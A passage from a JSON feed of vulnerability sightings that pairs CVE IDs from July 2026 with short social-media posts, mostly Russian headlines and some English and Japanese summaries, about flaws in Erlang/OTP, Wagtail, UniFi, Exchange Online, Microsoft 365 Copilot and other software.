"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54400", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mppysjzgsb2j", "content": "CVE-2026-54400: \u0423\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\n\n\nhttps://kripta.biz/posts/FFEA4FD8-DBB2-4413-B187-44C2C35DEFFD", "creation_timestamp": "2026-07-03T07:15:38.248431Z"}, {"uuid": "9f7c4da0-8c9c-46c6-83b2-5371600b3c88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54405", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mppyt5twew27", "content": "\u0423\u0433\u0440\u043e\u0437\u0430 CVE-2026-54405: \u043a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u044e \u0441\u0435\u0442\u044c \u043e\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0435\u0439 \u0432\u0432\u043e\u0434\u0430\n\n\n\nhttps://kripta.biz/posts/EC47FAF2-6115-43F3-946B-DD9C9EB94E87", "creation_timestamp": "2026-07-03T07:15:58.801443Z"}, {"uuid": "36d3d39c-c355-46ec-b3d1-ab9e5e6e2704", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54886", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpq5g4fr6a2m", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54886 \u0432 Erlang OTP: \u0431\u0435\u0441\u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u0438 \u0435\u0433\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\n\n\nhttps://kripta.biz/posts/DD33FF68-8BEC-4E78-B777-A00FF8029189", "creation_timestamp": "2026-07-03T08:38:10.005955Z"}, {"uuid": "fa85f581-1824-45e3-89aa-aeed3a9b2255", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54887", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpq5l6hjry2b", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54887 \u0432 Erlang/OTP: \u0440\u0438\u0441\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043b\u044e\u0447\u0435\u0439 \u0432 DTLS-\u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445\n\n\n\nhttps://kripta.biz/posts/4C2F3F2E-E638-4B64-B512-E2881B53CF5E", "creation_timestamp": "2026-07-03T08:41:00.099559Z"}, {"uuid": "6e0f8ca8-bbcd-4a0c-a719-7191f3f48d00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54891", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpq5oq4lq226", "content": "CVE-2026-54891: \u0423\u0433\u0440\u043e\u0437\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u0432 \u043a\u0430\u043d\u0430\u043b\u0430\u0445 \u0441\u0432\u044f\u0437\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/FC87BD85-9250-4852-9F5C-6C4A4C6D3ED7", "creation_timestamp": "2026-07-03T08:42:59.701363Z"}, {"uuid": "d1abc36d-06c8-4ba6-8b94-db64eb324045", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54712", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpq7i5u4ck2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54712 \u0432 OpenTelemetry Java Instrumentation: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/B6570F91-13C4-4BD5-B3EF-1C74B152A684", "creation_timestamp": "2026-07-03T09:15:06.444880Z"}, {"uuid": "144b481c-92c4-4916-8bf9-e1a6ab357101", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54704", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqa7twgj52w", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54704 \u0432 OpenTelemetry Java Instrumentation: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/CEF7E459-A064-4DFD-9A10-4FA8E75758FC", "creation_timestamp": "2026-07-03T09:28:20.950128Z"}, {"uuid": "5720051a-688f-4e06-88cd-b99fbd3ab5ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54887", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqaikpjzt2n", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54887 \u0432 Erlang/OTP: \u0440\u0438\u0441\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043b\u044e\u0447\u0435\u0439 \u0432 DTLS-\u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445\n\n\n\nhttps://kripta.biz/posts/B07209B9-EF89-4FAB-9E4F-D9D89B3BB0AD", "creation_timestamp": "2026-07-03T09:33:13.288241Z"}, {"uuid": "9ea04a2c-4f5a-4089-b8fb-b1ac71ba8eae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54891", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqamild7b27", "content": "CVE-2026-54891: \u0423\u0433\u0440\u043e\u0437\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u0432 \u043a\u0430\u043d\u0430\u043b\u0430\u0445 \u0441\u0432\u044f\u0437\u0438 - \u0447\u0442\u043e \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442 \u0438 \u043a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f\n\n\n\nhttps://kripta.biz/posts/82CA2FCA-4C90-4B10-8D3E-E76C5E91B6BB", "creation_timestamp": "2026-07-03T09:35:30.376220Z"}, {"uuid": "60e1df51-dac5-492c-a6dc-7efd772d4c2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54405", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqavzqfls2i", "content": "\u0423\u0433\u0440\u043e\u0437\u0430 CVE-2026-54405: \u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u044e \u0441\u0435\u0442\u044c \u043e\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0435\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\n\n\n\nhttps://kripta.biz/posts/7B16B0D9-5F69-4E8C-A78A-4EDCA0FF3731", "creation_timestamp": "2026-07-03T09:40:45.466037Z"}, {"uuid": "09098b2a-a789-455c-80f9-cd11a0af4d63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54886", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqe2coepy2p", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54886 \u0432 Erlang OTP: \u0431\u0435\u0441\u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u0438 \u0435\u0433\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\n\n\nhttps://kripta.biz/posts/5E532F68-07CA-408F-B592-935D2FA8A7CD", "creation_timestamp": "2026-07-03T10:36:50.126391Z"}, {"uuid": "db3585dd-5cce-4499-87c0-1ec331b74c79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54887", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqe36adak2f", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54887 \u0432 Erlang/OTP: \u0440\u0438\u0441\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043b\u044e\u0447\u0435\u0439 \u0432 DTLS-\u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445\n\n\n\nhttps://kripta.biz/posts/78C6F61F-0E49-4915-9CE0-1F5BF4D932E7", "creation_timestamp": "2026-07-03T10:37:19.025395Z"}, {"uuid": "ee9104dc-9914-4ac2-af2a-cfcdad96cc59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54891", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqeb35cti2p", "content": "CVE-2026-54891: \u0423\u0433\u0440\u043e\u0437\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u0432 \u043a\u0430\u043d\u0430\u043b\u0430\u0445 \u0441\u0432\u044f\u0437\u0438 - \u0447\u0442\u043e \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442 \u0438 \u043a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f\n\n\n\nhttps://kripta.biz/posts/451204D9-B0CE-4568-B9CE-CCED84EE28C4", "creation_timestamp": "2026-07-03T10:40:37.501040Z"}, {"uuid": "56e9a43f-0b31-4f0e-9763-add538837983", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54908", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqizncgtv2m", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54908 \u0432 Pion DTLS: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/8EC0F792-7E55-4293-B839-CCC1B95D0F8F", "creation_timestamp": "2026-07-03T12:05:56.480744Z"}, {"uuid": "341fb038-ba1a-4053-8e1f-bbdd333aac2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54786", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqj2yuukt2n", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54786 \u0432 Wasmtime: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 WebAssembly\n\n\n\nhttps://kripta.biz/posts/F77F0A65-ED35-41F0-8927-5548BA0C940C", "creation_timestamp": "2026-07-03T12:06:42.181945Z"}, {"uuid": "6af29e6a-a56e-4ed5-917f-11c2a9b7ae67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54263", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqnasm4g32y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54263 \u0432 Wagtail: \u0443\u0433\u0440\u043e\u0437\u044b, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/9A1F4609-27AF-4392-B56F-F07A7E0C60BA", "creation_timestamp": "2026-07-03T13:21:31.871491Z"}, {"uuid": "6f320cc9-f813-40d4-bcf2-d28d5577f0ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54259", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqndfs6nq2f", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54259 \u0432 Wagtail: \u0443\u0433\u0440\u043e\u0437\u044b, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/A1FA7F70-9BF9-4300-9AC2-59315D819CCD", "creation_timestamp": "2026-07-03T13:22:59.058177Z"}, {"uuid": "5f060dce-5a11-4bd5-9cd2-2ab37b1856b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54260", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqnj7hxnt2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54260 \u0432 Wagtail: \u0443\u0433\u0440\u043e\u0437\u044b, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/70887820-B2DA-4542-9E75-E3152C666C94", "creation_timestamp": "2026-07-03T13:26:13.878823Z"}, {"uuid": "e52581e0-0b95-44d0-8704-f83aca66bd1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54262", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqnk6jp5n2c", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54262 \u0432 Wagtail: \u0443\u0433\u0440\u043e\u0437\u044b, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/D5518082-1283-4647-9999-04ECE6AC0CAA", "creation_timestamp": "2026-07-03T13:26:46.175293Z"}, {"uuid": "39e54b18-9e7f-449f-89be-f9793da2a61a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54786", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqnmccsm52b", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54786 \u0432 Wasmtime: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 WebAssembly\n\n\n\nhttps://kripta.biz/posts/73BC507F-DB2F-4CC1-9FEF-C1A8249784F0", "creation_timestamp": "2026-07-03T13:27:57.775241Z"}, {"uuid": "ee740b2e-01c6-4235-a215-6565cfda3f36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54261", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqnq5biqp2k", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54261 \u0432 Wagtail: \u0443\u0433\u0440\u043e\u0437\u044b, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/56B71AB2-5960-4D72-8BA7-8B3DC8D7119C", "creation_timestamp": "2026-07-03T13:30:06.334910Z"}, {"uuid": "a405567d-0dff-4907-bd42-20fd76a06310", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54998", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116856397176796450", "content": "It is possible to see elevated activities targeting Microsoft Exchange Online (CVE-2026-54998) https://vuldb.com/vuln/376012/cti", "creation_timestamp": "2026-07-03T13:58:37.153751Z"}, {"uuid": "874124a8-9d3b-4065-b59f-c42344fb1ae1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54483", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpqpdvbvf42x", "content": "CVE-2026-54483 - Dell PowerProtect Data Domain OS Command Injection\nCVE ID : CVE-2026-54483\n \n Published : July 3, 2026, 12:34 p.m. | 1\u00a0hour, 12\u00a0minutes ago\n \n Description : Dell PowerProtect Data Domain, versions 7.7.1.0 through 8.6, LTS2026 release version 8.6.1.0 through 8....", "creation_timestamp": "2026-07-03T13:59:06.741279Z"}, {"uuid": "ad4cd8f7-880b-4cfc-a6b9-8a33ca4987f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54998", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpr4plmfl62y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54998 \u0432 Microsoft Exchange Online: \u0443\u0433\u0440\u043e\u0437\u0430 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/003E0351-19BF-4842-B57B-55DF55076CF4", "creation_timestamp": "2026-07-03T17:58:19.895260Z"}, {"uuid": "033bff1c-46a1-4698-b3ef-3bdee091b855", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54477", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpra4egnwq2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54477: \u041e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0430\u0434\u043c\u0438\u043d-\u043f\u0430\u043d\u0435\u043b\u044f\u0445\n\n\n\nhttps://kripta.biz/posts/5532663C-5370-4650-81E8-D175F7E1DC38", "creation_timestamp": "2026-07-03T18:59:03.689204Z"}, {"uuid": "0a6b7820-c0e1-4c42-a74f-343ff133307d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54404", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mprczq72g72f", "content": "\u0423\u0433\u0440\u043e\u0437\u0430 CVE-2026-54404: \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445\n\n\n\nhttps://kripta.biz/posts/B0657185-5EC7-475E-8113-70CEF0A78B33", "creation_timestamp": "2026-07-03T19:51:16.741644Z"}, {"uuid": "64053b7d-12a9-45fa-97c0-3e004df88f0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54400", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mpriuivehl2b", "content": "CVE-2026-54400 - unifi access application\nThe UniFi Access Application has a security weakness that could allow an attacker with high privileges to take control of the host device. This is a serious concern because\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#ubiquiti #CVE #infosec", "creation_timestamp": "2026-07-03T21:35:43.521660Z"}, {"uuid": "7b5b3c5c-353c-4e07-a277-f88b11fc5031", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54402", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mpriv6fexo2e", "content": "CVE-2026-54402 - unifi os server\nA malicious actor with network access can potentially inject commands on the UniFi OS host device, which could lead to unauthorized actions. This affects all devices running UniFi OS\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#ubiquiti #CVE #infosec", "creation_timestamp": "2026-07-03T21:36:06.443261Z"}, {"uuid": "4bde39f0-0527-4dd0-ba56-b5236bcb315e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54617", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mprjywsdgq2e", "content": "CVE-2026-54617 - pro.gravit.launcher:launchserver-api\nA security flaw in GravitLauncher's LaunchServer allows any user to access and read any file on the server that the LaunchServer process can read. This could\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#gravit #Java #CVE #infosec", "creation_timestamp": "2026-07-03T21:56:06.631110Z"}, {"uuid": "dafaea23-9638-4a38-b0a6-a1890dfd066b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54130", "type": "seen", "source": "https://bsky.app/profile/ebibibibibibi.bsky.social/post/3mprst7ebel2r", "content": "270\u6587\u5b57\u3067280\u6587\u5b57\u4ee5\u5185\u306b\u53ce\u307e\u308a\u307e\u3057\u305f\u3002\n\nCopilot\u306b\u3001\u30ed\u30b0\u30a4\u30f3\u4e0d\u8981\u3067\u60c5\u5831\u3092\u76d7\u307f\u898b\u3089\u308c\u308b\u8106\u5f31\u6027CVE-2026-54130\u304c\u898b\u3064\u304b\u308a\u307e\u3057\u305f\ud83d\udce7\n\nMicrosoft\u5074\u306f\u5373\u4fee\u6b63\u6e08\u307f\u3002\u3067\u3082\u300c\u76f4\u3063\u305f\u304b\u3089\u7d42\u308f\u308a\u300d\u3067\u306f\u306a\u304f\u3001\u4f01\u696d\u5074\u306e\u30c7\u30fc\u30bf\u30ac\u30d0\u30ca\u30f3\u30b9\u3068\u3044\u3046\u5bbf\u984c\u306f\u6b8b\u3063\u3066\u3044\u307e\u3059\u3002\n\n\u8a73\u3057\u304f\u306f\u3053\u3061\u3089\ud83d\udc47\n\nhttps://www.ebisuda.net/tech/2026/07/04/microsoft-365-copilotcve-2026-54130-microsoft-365-copilot-cve-2026-54130-nothing/\n\n#TechNews #Microsoft365", "creation_timestamp": "2026-07-04T00:33:57.720096Z"}, {"uuid": "914e7c17-550b-4594-a75e-639b7fd7508f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54424", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mprye52cxm24", "content": "Unity Parsec (Windows\u7248) v2026-05-04.0\u4ee5\u524d\u306b\u7279\u6a29API\u306e\u4e0d\u9069\u5207\u306a\u4f7f\u7528\u306e\u8106\u5f31\u6027\u3002\u653b\u6483\u8005\u306f\u6a29\u9650\u6607\u683c\u306e\u53ef\u80fd\u6027\u304c\u3042\u308a\u3001NT AUTHORITY\\SYSTEM\u6a29\u9650\u3067\u5b9f\u884c\u3055\u308c\u2026\nCVE-2026-54424 CVSS 8.4 | HIGH", "creation_timestamp": "2026-07-04T02:12:57.723959Z"}, {"uuid": "7f1dd1a0-f9fd-4c11-ae35-387102c1419c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54483", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mps6xmxjfl2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54483 \u0432 Dell PowerProtect Data Domain: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/F08F4D0D-A490-462C-B349-4BDD9DC692EF", "creation_timestamp": "2026-07-04T04:11:11.014121Z"}, {"uuid": "2d0e03c0-53fc-4285-9a62-cd79a537fa9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54424", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mps7obvjwu2e", "content": "CVE-2026-54424 - Parsec Elevation of Privilege via Privileged API Misuse\nCVE ID : CVE-2026-54424\n \n 